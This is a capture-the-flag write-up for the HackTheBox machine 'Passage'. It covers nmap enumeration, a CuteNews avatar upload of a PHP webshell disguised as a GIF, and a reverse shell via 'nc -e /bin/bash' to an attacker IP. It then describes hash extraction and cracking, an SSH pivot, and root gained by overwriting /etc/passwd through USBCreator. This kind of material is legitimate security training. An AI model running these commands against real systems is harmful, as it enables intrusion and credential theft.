Passage

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.206 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.206 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we scan the website with the whatweb tool, we'll see the passage.htb domain name in one of the emails. We can also see that the website is powered by CuteNews.

whatweb http://10.10.10.206

Whenever a domain name is discovered, we'll have to add it to the /etc/hosts file.

nano /etc/hosts

Now, let's take a look at the website.

Exploitation

If we add /CuteNews to the URL, we'll see a login page.

http://10.10.10.206/CuteNews/

Let's register a new user.

Now, let's press on the Personal options button.

Then, we'll see that we can upload files. The idea here is to upload a PHP webshell as the Avatar of the user, and then access it and send us a reverse shell. To be able to upload the PHP webshell, we'll have to uploaded as a GIF. First, let's create the webshell.php file with the following content. The first line will indicate that the file is a GIF file.

If we try to see the type of file, we'll see that it appears to be a GIF file.

file webshell.php

Then, upload the webshell as the Avatar of the user.

Now, we could execute commands from the following URL.

http://passage.htb/CuteNews/uploads/avatar_alfa8sa_webshell.php

Let's get a reverse shell. First, set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, if we access the following URL, the netcat listener will catch a reverse shell as the www-data user.

http://passage.htb/CuteNews/uploads/avatar_alfa8sa_webshell.php?cmd=nc -e /bin/bash 10.10.14.3 4444

Here is a python script which automates the entire process.

python3 exploit.py 10.10.14.2 http://10.10.10.206/CuteNews alfa8sa alfa8sa123

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

By default, CuteNews store the user's information in the /CuteNews/cdata/users/ directory, which has the lines file with various information including the password hashes. The following command will show that file and decode it.

cat /var/www/html/CuteNews/cdata/users/lines | grep -v denied | base64 -d

From that output, we can extract the following password hashes.

If we put those hashes in crackstation, we'll get the atlanta1 and egre55 passwords.

CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.

https://crackstation.net/

Now, let's see what users exist in the system.

cat /etc/passwd | grep sh

Now, we could try to become either the user paul or nadav with the passwords that we have. If we try the password atlanta1 we could get a shell as paul. Then we could grab the user flag.

su paul

At this point, I started enumerating the machine, and I saw that we have the user nadav SSH key in the authorized_keys file, so that means that we can log in via SSH with the user nadav without giving any password.

The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured.

ssh nadav@127.0.0.1

If we take a look at the hidden files of the nadav home directory, we'll see the .viminfo file.

ls -la ~/

We can see at the bottom of the file, that it is using the USBCreator service, which allow us to escalate privileges.

This article explains how we can exploit this vulnerability, which basically allow us to copy a file with root permissions. The idea is to make a copy of the /etc/passwd file, then modify it changing the root password, and finally replace it with the original /etc/passwd so we can become root. First, let's go to the /tmp folder and make a copy of the /etc/passwd file.

cd /tmp

cp /etc/passwd .

Now, we'll have to create a hash for the new password of the root user, which will be test.

openssl passwd

Now, in the /etc/passwd copy, change the x character next to the root user to the password hash we just made.

Finally, if we run the following commando, we will replace our custom passwd file with the original /etc/passwd file, and then we'll be able to get a shell as root.

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/passwd /etc/passwd true

Now, all we have to do is become the root user, and reap the harvest and take the root flag.

su root

Last updated

Was this helpful?